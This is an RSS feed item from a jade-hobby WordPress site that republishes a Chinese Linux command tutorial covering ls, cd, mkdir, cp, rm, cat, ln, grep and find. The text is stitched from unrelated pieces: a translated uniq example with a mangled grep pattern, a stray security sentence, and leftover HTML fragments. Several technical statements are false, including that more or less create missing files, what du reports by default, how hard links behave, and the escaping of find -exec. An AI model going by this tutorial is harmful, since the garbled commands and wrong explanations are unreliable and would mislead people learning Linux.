<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>linux命令</title>
	<atom:link href="https://www.aitaocui.cn/tag/246189/feed" rel="self" type="application/rss+xml" />
	<link>https://www.aitaocui.cn</link>
	<description>翡翠玉石爱好者聚集地</description>
	<lastBuildDate>Sun, 27 Nov 2022 14:05:54 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.1.1</generator>

<image>
	<url>https://www.aitaocui.cn/wp-content/uploads/2022/11/taocui.png</url>
	<title>linux命令</title>
	<link>https://www.aitaocui.cn</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>linux命令(计算机科学术语)</title>
		<link>https://www.aitaocui.cn/article/358139.html</link>
					<comments>https://www.aitaocui.cn/article/358139.html#respond</comments>
		
		<dc:creator><![CDATA[安道尔大公]]></dc:creator>
		<pubDate>Sun, 27 Nov 2022 14:05:54 +0000</pubDate>
				<category><![CDATA[知识]]></category>
		<category><![CDATA[linux命令]]></category>
		<guid isPermaLink="false">https://www.aitaocui.cn/?p=358139</guid>

					<description><![CDATA[linux命令：功能说明：建立或修改备存文件，或是从备存文件中抽取文件。linux命令是对Linux系统进行管理的命令。对于Linux系统来说，无论是中央处理器、内存、磁盘驱动器、...]]></description>
										<content:encoded><![CDATA[</p>
<article>
<p>linux命令：功能说明：建立或修改备存文件，或是从备存文件中抽取文件。linux命令是对Linux系统进行管理的命令。对于Linux系统来说，无论是中央处理器、内存、磁盘驱动器、键盘、鼠标，还是用户等都是文件，Linux系统管理的命令是它正常运行的核心，与之前的DOS命令类似。linux命令在系统中有两种类型：内置Shell命令和Linux命令。</p>
</article>
<p><img decoding="async" src="https://www.aitaocui.cn/wp-content/uploads/2022/08/20220828_630b683a8e340.jpg" /></p>
<article>
<h1>操作命令</h1>
<p>首先介绍一个名词“控制台（console）”，它就是我们通常见到的使用字符操作界面的人机接口，例如dos。我们说控制台命令，就是指通过字符界面输入的可以操作系统的命令，例如dos命令就是控制台命令。我们现在要了解的是基于Linux操作系统的基本控制台命令。有一点一定要注意，和dos命令不同的是，Linux的命令（也包括文件名等等）对大小写是敏感的，也就是说，如果你输入的命令大小写不对的话，系统是不会做出你期望的响应的。</p>
<h1>模式切换</h1>
<p>1、 由图形到字符#logout或init 3</p>
<p>2、由字符到图形界面init 5</p>
<p>3、退出consolelogout或exit或ctrl+d</p>
<p>4、 注销Ctrl + Alt + Backspace</p>
<p>5、 关机#poweroff或init 0或shutdown -h now或 halt -p</p>
<p>6、 重启#reboot或init 6或shutdown -r now</p>
<h1>获得帮助</h1>
<p>#help提供内部命令的帮助#man或info提供外部命令的帮助。</p>
<p>如果你的英文足够好，那完全可以不靠任何人就精通linux，只要你会用man。Man实际上就是查看指令用法的help，学习任何一种UNIX类的操作系统最重要的就是学会使用man这个辅助命令。man是manual(手册)的缩写字，它的说明非常的详细，但是因为它都是英文，看起来非常的头痛。建议大家需要的时候再去看man，平常吗，记得一些基本用法就可以了。</p>
<h1>基础命令</h1>
<p>* LINUX图形界面和命令行界面的切换</p>
<p>进入Ubuntu桌面环境后，可以使用键盘上的“Ctrl+Alt+F1~F6“组合键来切换不同的tty界面，Linux默认提供了6个命令行界面（F1-F6），比如”Ctrl+Alt+F1″就是切换到tty1:</p>
<p>1 /*最上面显示的是Ubuntu的版本计算机名称和tty号*/</p>
<p>2 Ubuntu 12.04.1 LTS qingsword tty1</p>
<p>4 /*输入用户名和密码即可登录tty1*/</p>
<p>5 qingsword login: root</p>
<p>6 Password:</p>
<p>在命令行模式下，想要切换回图形界面可以使用组合键”Ctrl+Alt+F7“。另外，如果不是从图形界面切换到tty模式，而是系统启动时候直接进入的命令行模式，在登陆后可以使用”startx”来启动图形界面。</p>
<p>PS:在图形界面下使用”Ctrl+Alt+T“可以快速启动Linux的命令行终端。</p>
<p>* 列出目录中的文件(LS)</p>
<p>在Linux命令行终端中使用的最多的命令就是这个ls，它可以帮助我们列出当前目录下都有哪些文件，下面是一些实例:</p>
<p>1 /*</p>
<p>2 * 使用pwd，查看当前是在哪个目录中，</p>
<p>3 * 显示为“/home/qingsword”，这就是当前命令行所在的目录。</p>
<p>4 */</p>
<p>5 [qingsword@localhost ~]$ pwd</p>
<p>6 /home/qingsword</p>
<p>8 /*切换到根目录*/</p>
<p>9 [qingsword@localhost ~]$ cd /</p>
<p>11 /*验证一下，确实在根目录下了*/</p>
<p>12 [qingsword@localhost /]$ pwd</p>
<p>13 /</p>
<p>15 /*查看根目录下面都有哪些文件和文件夹*/</p>
<p>16 [qingsword@localhost /]$ ls</p>
<p>17 bin dev home lost+found mnt proc sbin srv tmp var</p>
<p>18 boot etc lib media opt root selinux sys usr</p>
<p>20 /*可以使用两个ll详细输出，这个命令和ls -l效果相同*/</p>
<p>21 [qingsword@localhost /]$ ll</p>
<p>22 total 78</p>
<p>23 dr-xr-xr-x. 2 root root 4096 Aug 9 01:21 bin</p>
<p>24 dr-xr-xr-x. 5 root root 1024 Aug 8 23:54 boot</p>
<p>25 drwxr-xr-x. 18 root root 3820 Aug 8 17:41 dev</p>
<p>26 drwxr-xr-x. 88 root root 4096 Dec 24 10:39 etc</p>
<p>27 …../*省略部分输出*/…..</p>
<p>29 /*详细输出，并且显示隐藏的文件和文件夹，或ls -al*/</p>
<p>30 [qingsword@localhost /]$ ll -a</p>
<p>31 total 86</p>
<p>32 dr-xr-xr-x. 21 root root 4096 Aug 8 17:39 .</p>
<p>33 dr-xr-xr-x. 21 root root 4096 Aug 8 17:39 ..</p>
<p>34 -rw-r–r–. 1 root root 0 Aug 8 17:39 .autofsck</p>
<p>35 dr-xr-xr-x. 2 root root 4096 Aug 9 01:21 bin</p>
<p>36 …../*省略部分输出*/…..</p>
<p>上面为ls常见的用法，下面是一些其他用法:</p>
<p>1 /*</p>
<p>2 * 使用递归模式，显示目录以及下级子目录，</p>
<p>3 * 后面的more是当输出超出终端显示范围时，显示一个more,</p>
<p>4 * 按任意键可以继续显示下面的内容。</p>
<p>5 */</p>
<p>6 [qingsword@localhost /]$ ls -R | more</p>
<p>8 /*按时间先后显示*/</p>
<p>9 [qingsword@localhost /]$ ls -t</p>
<p>11 /*横排输出,中间用逗号分隔*/</p>
<p>12 [qingsword@localhost /]$ ls -m</p>
<p>14 /*按大小排列，先大后小*/</p>
<p>15 [qingsword@localhost /]$ ls -S</p>
<p>除此之外ls会显示不同颜色，下面是这些颜色的含义:</p>
<p>蓝色—目录</p>
<p>绿色—可执行文件</p>
<p>红色—压缩文件</p>
<p>浅蓝色—链接文件</p>
<p>粉红色—图片文件</p>
<p>黄色—设备文件</p>
<p>灰色—其他文件</p>
<p>可以切换到/dev目录下用ls查看一下，会看到大部分为设备文件。</p>
<p>* 目录切换(CD)</p>
<p>使用cd（Change Directory）命令可以在不同目录之间切换，下面是一些实例:</p>
<p>1 /*当前目录是根目录*/</p>
<p>2 [qingsword@localhost /]$ pwd</p>
<p>3 /</p>
<p>5 /*使用cd切换到/dev这个目录*/</p>
<p>6 [qingsword@localhost /]$ cd /dev</p>
<p>7</p>
<p>8 [qingsword@localhost dev]$ pwd</p>
<p>9 /dev</p>
<p>11 /*查看一下当前目录下面的文件*/</p>
<p>12 [qingsword@localhost dev]$ ls</p>
<p>14 /*这条命令可以用来跳到前一个工作目录，即根目录*/</p>
<p>15 [qingsword@localhost dev]$ cd &#8211;</p>
<p>16 /</p>
<p>18 /*跳到当前用户的家目录*/</p>
<p>19 [qingsword@localhost /]$ cd ~</p>
<p>20 [qingsword@localhost ~]$ pwd</p>
<p>21 /home/qingsword</p>
<p>23 /*返回上一层目录*/</p>
<p>24 [qingsword@localhost ~]$ cd ..</p>
<p>25 [qingsword@localhost home]$ pwd</p>
<p>26 /home</p>
<p>* 创建、移动、复制、删除文件的操作</p>
<p>可以使用下面的命令来创建一个目录，或者嵌套的目录:</p>
<p>1 /*我在当前用户的家目录中，首先创建一个单层目录*/</p>
<p>2 [qingsword@localhost ~]$ mkdir qing</p>
<p>3 [qingsword@localhost ~]$ ls</p>
<p>4 qing</p>
<p>6 /*试着创建一个嵌套的目录，提示错误*/</p>
<p>7 [qingsword@localhost ~]$ mkdir top/sub/sub2</p>
<p>8 mkdir: cannot create directory `top/sub/sub2′: No such file or directory</p>
<p>10 /*添加-p参数才能创建多层的嵌套目录*/</p>
<p>11 [qingsword@localhost ~]$ mkdir -p top/sub/sub2</p>
<p>12 [qingsword@localhost ~]$ ls</p>
<p>13 qing top</p>
<p>15 /*</p>
<p>16 * 使用递归显示当前目录下面文件,</p>
<p>17 * “.”代表当前目录,下面表示这个目录下面的子目录和文件。</p>
<p>18 */</p>
<p>19 [qingsword@localhost ~]$ ls -R</p>
<p>20 .:</p>
<p>21 qing top</p>
<p>23 /*”qing”这个目录下面是空的，没有其他文件和文件夹*/</p>
<p>24 ./qing:</p>
<p>26 /*”top”目录下还有个子目录”sub”*/</p>
<p>27 ./top:</p>
<p>28 sub</p>
<p>30 /*sub目录下还有个sub2*/</p>
<p>31 ./top/sub:</p>
<p>32 sub2</p>
<p>34 /*sub2下面是空的*/</p>
<p>35 ./top/sub/sub2:</p>
<p>删除目录或者文件:</p>
<p>1 /*强制删除刚才创建的top目录,”rm -rf”后面可以接任何目录或者文件*/</p>
<p>2 [qingsword@localhost ~]$ rm -rf top</p>
<p>创建文本文件:</p>
<p>1 /*使用touch命令可以创建一个空文本文件*/</p>
<p>2 [qingsword@localhost ~]$ touch testfile</p>
<p>4 /*使用echo命令将hello这几个字符写入这个文件中*/</p>
<p>5 [qingsword@localhost ~]$ echo hello&gt;&gt;testfile</p>
<p>7 /*使用more命令显示这个文件中的内容*/</p>
<p>8 [qingsword@localhost ~]$ more testfile</p>
<p>9 hello</p>
<p>11 /*追加一行，再次显示*/</p>
<p>12 [qingsword@localhost ~]$ echo My name is QingSword&gt;&gt;testfile</p>
<p>13 [qingsword@localhost ~]$ more testfile</p>
<p>14 hello</p>
<p>15 My name is QingSword</p>
<p>复制文件或文件夹:</p>
<p>1 /*首先创建两个文件夹*/</p>
<p>2 [qingsword@localhost ~]$ mkdir dir1</p>
<p>3 [qingsword@localhost ~]$ mkdir dir2</p>
<p>4 [qingsword@localhost ~]$ ls</p>
<p>5 dir1 dir2 qing testfile</p>
<p>7 /*将testfile这个文本文件复制到dir2目录中*/</p>
<p>8 [qingsword@localhost ~]$ cp testfile dir2</p>
<p>9 [qingsword@localhost ~]$ ls dir2</p>
<p>10 testfile</p>
<p>12 /*将dir2目录复制到dir1目录中,复制非空目录要添加参数-r*/</p>
<p>13 [qingsword@localhost ~]$ cp -r dir2 dir1</p>
<p>14 [qingsword@localhost ~]$ ls -R dir1</p>
<p>15 dir1:</p>
<p>16 dir2</p>
<p>18 dir1/dir2:</p>
<p>19 testfile</p>
<p>21 /*</p>
<p>22 * 复制多个目标到一个文件夹中，</p>
<p>23 * 将dir1和dir2这两个文件夹以及testfile这个文本文件，复制到后面的qing文件夹中。</p>
<p>24 */</p>
<p>25 [qingsword@localhost ~]$ cp -r dir1 dir2 testfile qing</p>
<p>移动目录或文件(剪切):</p>
<p>1 /*vm可以操作目录和文件，同样可以一次性操作多个目标*/</p>
<p>2 [qingsword@localhost ~]$ mv dir1 qing</p>
<p>3 [qingsword@localhost ~]$ ls</p>
<p>4 dir2 qing testfile</p>
<p>6 [qingsword@localhost ~]$ mv testfile dir2 qing</p>
<p>7 [qingsword@localhost ~]$ ls</p>
<p>8 qing</p>
<p>9 [qingsword@localhost ~]$</p>
<p>* 重启和关机</p>
<p>使用下面的命令重启和关机(这个命令必须使用root用户才能执行):</p>
<p>1 /*首先切换到root权限*/</p>
<p>2 [qingsword@localhost ~]$ su</p>
<p>3 Password:</p>
<p>5 /*一分钟后关机*/</p>
<p>6 [qingsword@localhost ~]# shutdown -h 1</p>
<p>8 /*如果是定时关机，可以打开另外一个终端，使用下面这个命令取消关机*/</p>
<p>9 [qingsword@localhost ~]# shutdown -c</p>
<p>11 /*马上关机*/</p>
<p>12 [qingsword@localhost ~]# shutdown -h now</p>
<p>14 /*下面这两条命令也是马上关机*/</p>
<p>15 [qingsword@localhost ~]# init 0</p>
<p>16 [qingsword@localhost ~]# poweroff</p>
<p>18 /*下面这两条命令都能马上重启*/</p>
<p>19 [qingsword@localhost ~]# reboot</p>
<p>20 [qingsword@localhost ~]# init 6</p>
<p>uniq</p>
<p>–去除重复行</p>
<p>下面的示例演示如何grep的唯一相关的交易，削减不必要的信息，并获得计数。</p>
<p>jfields$ cat order.out.log | grep &quot;//(Kindle//|Hardcover//)&quot; | cut -d&quot;,&quot; -f3 | sort | uniq -c</p>
<p>1 Joy of Clojure</p>
<p>2 Patterns of Enterprise Architecture</p>
<p>jfields$ cat order.out.log | grep &quot;//(Kindle//|Hardcover//)&quot; | cut -d&quot;,&quot; -f3 | sort | uniq</p>
<p>Joy of Clojure</p>
<p>Patterns of Enterprise Architecture</p>
<p>命令ls</p>
<p>ls [list]</p>
<p>这个命令就相当于dos下的dir命令一样，这也是Linux控制台命令中最为重要几个命令之一。Linux上的文件以“.”开头的文件被系统视为隐藏文件，仅用ls命令是看不到他们的，而用ls -a除了显示 一般文件名外，连隐藏文件也会显示出来。</p>
<p>ls -l（这个参数是字母L的小写，不是数字1）【直接输入ll 等价于 ls -l的效果】</p>
<p>这个命令可以使用长格式显示文件内容，如果需要察看更详细的文件资料，就要用到ls -l这个指令。例如我在某个目录下键入ls -l可能会显示如下信息（最上面两行是我自己加的）：</p>
<p>位置1 2 3 4 5 6 7</p>
<p>文件属性文件数 拥有者 所属者group 文件大小 建档日期 文件名</p>
<p>drwx&#8212;&#8212; 2 Guest users 1024 Nov 21 21:05 Mail</p>
<p>-rwx&#8211;x&#8211;x 1 root root 89080 Nov 7 22:41 tar*</p>
<p>-rwxr-xr-x 1 root bin 5013 Aug 15 9:32 uname*</p>
<p>lrwxrwxrwx 1 root root 4 Nov 24 19:30 zcat-&gt;gzip</p>
<p>-rwxr-xr-x 1 root bin 308364 Nov 29 7:43 zsh*</p>
<p>-rwsr-x&#8212; 1 root bin 9853 Aug 15 5:46 su*</p>
<p>下面，我为大家解释一下这些显示内容的意义。</p>
<p>第一个栏位，表示文件的属性。Linux的文件基本上分为三个属性：可读（r），可写（w），可执行（x）。但是这里有十个格子可以添（具体程序实现时，实际上是十个bit位）。第一个小格是特殊表示格，表示目录或连结文件等等，d表示目录，例如drwx&#8212;&#8212;;l表示连结文件，如lrwxrwxrwx;如果是以一横“-”表示，则表示这是文件。其馀剩下的格子就以每3格为一个单位。因为Linux是多用户多任务系统，所以一个文件可能同时被许多人使用，所以我们一定要设好每个文件的权限，其文件的权限位置排列顺序是（以-rwxr-xr-x为例）：</p>
<p>rwx(Owner)r-x(Group)r-x(Other)</p>
<p>这个例子表示的权限是：使用者自己可读，可写，可执行；同一组的用户可读，不可写，可执行；其它用户可读，不可写，可执行。另外，有一些程序属性的执行部分不是X,而是S,这表示执行这个程序的使用者，临时可以有和拥有者一样权力的身份来执行该程序。一般出现在系统管理之类的指令或程序，让使用者执行时，拥有root身份。</p>
<p>第二个栏位，表示文件个数。如果是文件的话，那这个数目自然是1了，如果是空目录的话，那它的数目就是2，非空目录等于该目录中的目录个数加上2了。</p>
<p>第三个栏位，表示该文件或目录的拥有者。若使用者目前处于自己的Home,那这一栏大概都是它的账号名称。</p>
<p>第四个栏位，表示所属的组（group）。每一个使用者都可以拥有一个以上的组，不过大部分的使用者应该都只属于一个组，只有当系统管理员希望给予某使用者特殊权限时，才可能会给他另一个组。</p>
<p>第五栏位，表示文件大小。文件大小用byte来表示，而空目录一般都是1024byte，你当然可以用其它参数使文件显示的单位不同，如使用ls –k就是用kb来显示一个文件的大小单位，不过一般我们还是以byte为主。</p>
<p>第六个栏位，表示创建日期。以“月，日，时间”的格式表示，如Aug 15 5:46表示8月15日早上5:46分。</p>
<p>第七个栏位，表示文件名。我们可以用ls –a显示隐藏的文件名。</p>
<p>ls –F（注意，是大写的F）</p>
<p>使用这个参数表示在文件的后面多添加表示文件类型的符号，例如*表示可执行，/表示目录，@表示连结文件，这都是因为使用了-F这个参数。但是现在基本上所有的Linux发行版本的ls都已经内建了-F参数，也就是说，不用输入这个参数，我们也能看到各种分辨符号。</p>
<p>cd</p>
<p>cd [change directory]</p>
<p>这个命令是用来进出目录的，它的使用方法和在dos下差不多，但要注意以下两点：首先，和dos不同的是Linux的目录对大小写是敏感的，如果大小写没写对，cd操作不会成功；其次，cd如果直接输入，cd后面不加任何东西，会回到使用者自己的Home Directory。假设如果是root，则回到/root，与输入cd ~是一样的效果。</p>
<h1>建新目录</h1>
<p>mkdir、rmdir</p>
<p>mkdir[make directory] rmdir [remove directory]</p>
<p>mkdir命令用来建立新的目录，</p>
<p>名称：mkdir</p>
<p>使用权限：于目前目录有适当权限的所有使用者</p>
<p>使用方式：mkdir[-p] dirName</p>
<p>说明：建立名称为 dirName 之子目录。</p>
<p>参数：-p 确保目录名称存在，不存在的就建一个。</p>
<p>范例：</p>
<p>在工作目录下，建立一个名为 AAA 的子目录 :</p>
<p>mkdirAAA</p>
<p>在工作目录下的 BBB 目录中，建立一个名为Test的子目录。若 BBB目录原本不存在，则建立一个。（注：本例若不加 -p，且原本 BBB目录不存在，则产生错误。）</p>
<p>mkdir-p BBB/Test</p>
<p>rmdir 用来删除已建立的目录，</p>
<p>名称：rmdir</p>
<p>使用权限：于目前目录有适当权限的所有使用者</p>
<p>使用方式： rmdir [-p] dirName</p>
<p>说明： 删除空的目录。</p>
<p>参数： -p 是当子目录被删除后使它也成为空目录的话，则顺便一并删除。</p>
<p>范例：</p>
<p>将工作目录下，名为 AAA 的子目录删除 :</p>
<p>rmdir AAA</p>
<p>在工作目录下的 BBB 目录中，删除名为 Test 的子目录。若 Test 删除后，BBB目录成为空目录，则 BBB 亦予删除。</p>
<p>rmdir -p BBB/Test</p>
<p>cp</p>
<p>cp[copy]</p>
<p>这个命令相当于dos下面的copy命令，具体用法是：cp –r源文件(source) 目的文件(target)</p>
<p>参数r是指连同源文件中的子目录一同拷贝。熟悉dos的读者用起这个命令来会觉得更方便，毕竟比在dos下面要少敲两下键盘。</p>
<p>../ 和 ./ 代表的 是上级目录以及当前目录。</p>
<p>这样运用这两个命令来完成两种复制方法。</p>
<p>第一种：处在当前目录复制当前目录下文件到别的目录。</p>
<p>cp_文件名称_别的文件目录路径。&quot;_&quot;是空格</p>
<p>举个例子 在 orz文件夹下有两个子文件夹a和b，a中有文件x.c，b中无文件。</p>
<p>此时我们在a文件夹中命令如下：</p>
<p>cp x.c ../b/</p>
<p>第二种：处在当前文件夹下复制另外文件夹下的文件到当前文件夹下。</p>
<p>cp_路径/文件名称_./</p>
<p>例子条件同上个例子，命令如下：</p>
<p>cp ../a/x.c ./</p>
<p>rm</p>
<p>rm [remove]</p>
<p>这个命令是用来删除文件的，和dos下面的rm（删除一个空目录）是有区别的，大家千万要注意。rm命令常用的参数有三个： -i,-r,-f。</p>
<p>比如我现在要删除一个名字为test的一个文件：rm –i test</p>
<p>系统会询问我们：“rm:remove ‘test’鳚y”，敲了回车以后，这个文件才会真的被删除。之所以要这样做，是因为linux不象dos那样有undelete的命令，或者是可以用pctool等工具将删除过的文件救回来，linux中删除过的文件是救不回来的，所以使用这个参数在删除前让你再确定一遍，是很有必要的。</p>
<p>rm –r目录名：这个操作可以连同这个目录下面的子目录都删除，功能上和rmdir相似。</p>
<p>rm –f 文件名（目录名）：这个操作可以进行强制删除。</p>
<p>mv</p>
<p>mv[move]</p>
<p>这个命令的功能是移动目录或文件，引申的功能是给目录或文件重命名。它的用法同dos下面的move基本相同，这里不再多讲。当使用该命令来移动目录时，他会连同该目录下面的子目录也一同移走。如果你想给一个文件或目录重命名时可以用以下方法：mv 原文件名（目录） 新的文件名（目录）。</p>
<p>dudf</p>
<p>du [disk usage]</p>
<p>du命令可以显示目前的目录所占的磁盘空间，df命令可以显示目前磁盘剩馀的磁盘空间。如果du命令不加任何参数，那么返回的是整个磁盘的使用情况，如果后面加了目录的话，就是这个目录在磁盘上的使用情况（这个功能可是dos没有的呦）。不过我一般不喜欢用du，因为它给出的信息实在是太多了，我看不过来，而df这个命令我是最常用的，因为磁盘上还剩多少空间对我来说是很重要的。</p>
<p>语法：df [选项]</p>
<p>说明：linux中df命令可显示所有文件系统对i节点和磁盘块的使用情况。</p>
<p>该命令各个选项的含义如下：</p>
<p>-a 显示所有文件系统的磁盘使用情况，包括0块（block）的文件系统，如/proc文件系统。</p>
<p>-k 以k字节为单位显示。</p>
<p>-i 显示i节点信息，而不是磁盘块。</p>
<p>-t 显示各指定类型的文件系统的磁盘空间使用情况。</p>
<p>-x 列出不是某一指定类型文件系统的磁盘空间使用情况（与t选项相反）。</p>
<p>-T 显示文件系统类型。</p>
<p>功能：检查文件系统的磁盘空间占用情况。可以利用该命令来获取硬盘被占用了多少空间，目前还剩下多少空间等信息的!</p>
<p>cat</p>
<p>cat[concatenate]</p>
<p>这个命令是linux中非常重要的一个命令，它的功能是显示或连结一般的ascii文本文件。cat是concatenate的简写，类似于dos下面的type命令。它的用法如下：</p>
<p>cat text 显示text这个文件；</p>
<p>cat file1 file2 依顺序显示file1,file2的内容；</p>
<p>cat &quot;file1&quot; &quot;file2&quot;&gt;file3 把file1,file2的内容结合起来，再“重定向（&gt;）”到file3文件中。</p>
<p>“〉”是一个非常有趣的符号，是往右重定向的意思，就是把左边的结果当成是输入，然后输入到file3这个文件中。这里要注意一点是file3是在重定向以前还未存在的文件，如果file3是已经存在的文件，那么它本身的内容被复盖，而变成file1+file2的内容。如果〉左边没有文件的名称，而右边有文件名，例如：</p>
<p>cat &gt;file1：结果是会“空出一行空白行”，等待你输入文字，输入完毕后再按[Ctrl]+[c]或[Ctrl]+[d]，就会结束编辑，并产生file1这个文件，而file1的内容就是你刚刚输入的内容。这个过程和dos里面的copy con file1的结果是一样的。</p>
<p>另外，如果你使用如下的指令：</p>
<p>cat file1&gt;&gt;file2：这将变成将file1的文件内容“附加”到file2的文件后面，而file2的内容依然存在，这种重定向符〉〉比〉常用，可以多多利用。</p>
<h1>文件指令</h1>
<p>对于存在安全漏洞或者配置不当的Linux服务器,同样面临攻击者的威胁,因此,提高安全意识强化安全管理,是Linux管理员不可忽视的事情。</p>
<p>more,less</p>
<p>这是两个显示一般文本文件的指令。如果一个文本文件太长了超过一个屏幕的画面，用cat来看实在是不理想，就可以试试more和less两个指令。More指令可以使超过一页的文件临时停留在屏幕，等你按任何的一个键以后，才继续显示。而less除了有more的功能以外，还可以用方向键往上或往下的滚动文件，所以你随意浏览，阅读文章时，less是个非常好的选择。当more或less文件不存在时，那么该文件就会自动生个空文件，所以more和less也可以作为创建文件的用法。</p>
<p>more 参数如下：</p>
<p>+num 从第num行开始显示；</p>
<p>-num 定义屏幕大小，为num行；</p>
<p>+/pattern 从pattern 前两行开始显示；</p>
<p>-c 从顶部清屏然后显示；</p>
<p>-d 提示Press space to continue, &#x27;q&#x27; to quit.（按空 键继续，按q键退出），禁用响铃功能；</p>
<p>-l 忽略Ctrl+l （换页）字符；</p>
<p>-p 通过清除窗口而不是滚屏来对文件进行换页。和-c参数有点相似；</p>
<p>-s 把连续的多个空行显示为一行；</p>
<p>-u 把文件内容中的下划线去掉</p>
<p>less 常用参数</p>
<p>de&gt;-c 从顶部（从上到下）刷新屏幕，并显示文件内容。而不是通过底部滚动完成刷新；</p>
<p>-f 强制打开文件，二进制文件显示时，不提示警告；</p>
<p>-i 搜索时忽略大小写；除非搜索串中包含大写字母；</p>
<p>-I 搜索时忽略大小写，除非搜索串中包含小写字母；</p>
<p>-m 显示读取文件的百分比；</p>
<p>-M 显法读取文件的百分比、行号及总行数；</p>
<p>-N 在每行前输出行号；</p>
<p>-p pattern 搜索pattern；比如在/etc/profile搜索单词MAIL，就用 less -p MAIL /etc/profile</p>
<p>-s 把连续多个空白行作为一个空白行显示；</p>
<p>-Q 在终端下不响铃；de&gt;</p>
<p>比如：我们在显示/etc/profile的内容时，让其显示行号；</p>
<p>de&gt;[root@localhost ~]# less -N /etc/profilede&gt;</p>
<p>pwd</p>
<p>pwd [print working directory]</p>
<p>pwd [&#8211;help][&#8211;version]</p>
<p>说明：执行pwd指令可立刻得知您目前所在的工作目录的绝对路径名称。</p>
<h1>清除屏幕</h1>
<p>clear</p>
<p>这个命令是用来清除屏幕的，它不需要任何参数，和dos下面的cls具有相同的功能，如果你觉得屏幕太紊乱，就可以使用它清除屏幕上的信息。</p>
<p>ln</p>
<p>ln[link]</p>
<p>这是linux中又一个非常重要命令，请大家一定要熟悉。它的功能是为某一个文件在另外一个位置建立一个不同的链接，这个命令最常用的参数是-s,具体用法是：ln –s源文件目标文件。</p>
<p>当我们需要在不同的目录，用到相同的文件时，我们不需要在每一个需要的目录下都放一个必须相同的文件，我们只要在某个固定的目录，放上该文件，然后在其它的目录下用ln命令链接（link）它就可以，不必重复的占用磁盘空间。例如：ln –s /bin/less /usr/local/bin/less</p>
<p>-s 是代号（symbolic）的意思。</p>
<p>这里有两点要注意：第一，ln命令会保持每一处链接文件的同步性，也就是说，不论你改动了哪一处，其它的文件都会发生相同的变化；第二，ln的链接有软链接和硬链接两种，软链接就是ln –s ** **,它只会在你选定的位置上生成一个文件的镜像，不会占用磁盘空间，硬链接ln ** **,没有参数-s, 它会在你选定的位置上生成一个和源文件大小相同的文件，无论是软链接还是硬链接，文件都保持同步变化。</p>
<p>如果你用ls察看一个目录时，发现有的文件后面有一个@的符号，那就是一个用ln命令生成的文件，用ls –l命令去察看，就可以看到显示的link的路径了。</p>
<p>grep</p>
<p>用于查找文件中符合字符串的那行。</p>
<p>e.g. grep -nr &quot;network_ssl&quot; ./ [查找当前文件夹下所有文件内容，列出包含有 network_ssl该字串的行，并显示行号]</p>
<p>参数说明：-a ：将 binary 文件以 text 文件的方式搜寻数据</p>
<p>-c ：计算找到 &#x27;搜寻字符串&#x27; 的次数</p>
<p>-i ：忽略大小写的不同，所以大小写视为相同</p>
<p>-n ：顺便输出行号</p>
<p>-v ：反向选择，亦即显示出没有 &#x27;搜寻字符串&#x27; 内容的那一行!</p>
<p>-A NUM：同时输出匹配行的后NUM行。</p>
<p>-B NUM：同时输出匹配行的前NUM行。</p>
<p>-C NUM：同时输出匹配行的前、后各NUM行。</p>
<p>-r ：明确要求搜索子目录：grep -r 或忽略子目录：grep -d skip 如果有很多 输出时，您可以通过管道将其转到’less’上阅读：$ grep magic /usr/src/Linux/Documentation/* | less 这样，您就可以更方便地阅读。</p>
<p>find</p>
<p>find / -name &quot;*.txt&quot; -print 用于查找所有的‘ *.txt’文件在当前目录及子目录中；</p>
<p>find / -name &quot;[A-Z]*&quot; -print 用于当前目录及子目录中查找文件名以一个大写字母开头的文件；</p>
<p>find /etc -name &quot;host*&quot; -print 在/etc目录中查找文件名以host开头的文件；</p>
<p>find / -name &quot;[a-z][a-z][0&#8211;9][0&#8211;9].txt&quot; -print 在当前目录查找文件名以两个小写字母开头，跟着是两个数字，最后是.txt的文件；</p>
<p>1、find命令的一般形式为；</p>
<p>find pathname -options [-print -exec -ok &#8230;]</p>
<p>2、find命令的参数；</p>
<p>pathname: find命令所查找的目录路径。例如用.来表示当前目录，用/来表示系统根目录。</p>
<p>-print： find命令将匹配的文件输出到标准输出。</p>
<p>-exec： find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为&#x27;command&#x27; { } //;，注意{ }和//；之间的空格。</p>
<p>-ok： 和-exec的作用相同，只不过以一种更为安全的模式来执行该参数所给出的shell命令，在执行每一个命令之前，都会给出提示，让用户来确定是否执行。</p>
<p>3、find命令选项</p>
<p>-name</p>
<p>按照文件名查找文件。</p>
<p>-perm</p>
<p>按照文件权限来查找文件。</p>
<p>-prune</p>
<p>使用这一选项可以使find命令不在当前指定的目录中查找，如果同时使用-depth选项，那么-prune将被find命令忽略。</p>
<p>-user</p>
<p>按照文件属主来查找文件。</p>
<p>-group</p>
<p>按照文件所属的组来查找文件。</p>
<p>-mtime -n +n</p>
<p>按照文件的更改时间来查找文件， &#8211; n表示文件更改时间距现在n天以内，+ n表示文件更改时间距现在n天以前。find命令还有-atime和-ctime 选项，但它们都和-m time选项。</p>
<p>-nogroup</p>
<p>查找无有效所属组的文件，即该文件所属的组在/etc/groups中不存在。</p>
<p>-nouser</p>
<p>查找无有效属主的文件，即该文件的属主在/etc/passwd中不存在。</p>
<p>-newer file1 ! file2</p>
<p>查找更改时间比文件file1新但比文件file2旧的文件。</p>
<p>-type</p>
<p>查找某一类型的文件，诸如：</p>
<p>b -块设备文件。</p>
<p>d -目录。</p>
<p>c -字符设备文件。</p>
<p>p &#8211; 管道文件。</p>
<p>l -符号链接文件。</p>
<p>f &#8211; 普通文件。</p>
<p>-size n：[c] 查找文件长度为n块的文件，带有c时表示文件长度以字节计。</p>
<p>-depth：在查找文件时，首先查找当前目录中的文件，然后再在其子目录中查找。</p>
<p>-fstype：查找位于某一类型文件系统中的文件，这些文件系统类型通常可以在配置文件/etc/fstab中找到，该配置文件中包含了本系统中有关文件系统的信息。</p>
<p>-mount：在查找文件时不跨越文件系统mount点。</p>
<p>-follow：如果find命令遇到符号链接文件，就跟踪至链接所指向的文件。</p>
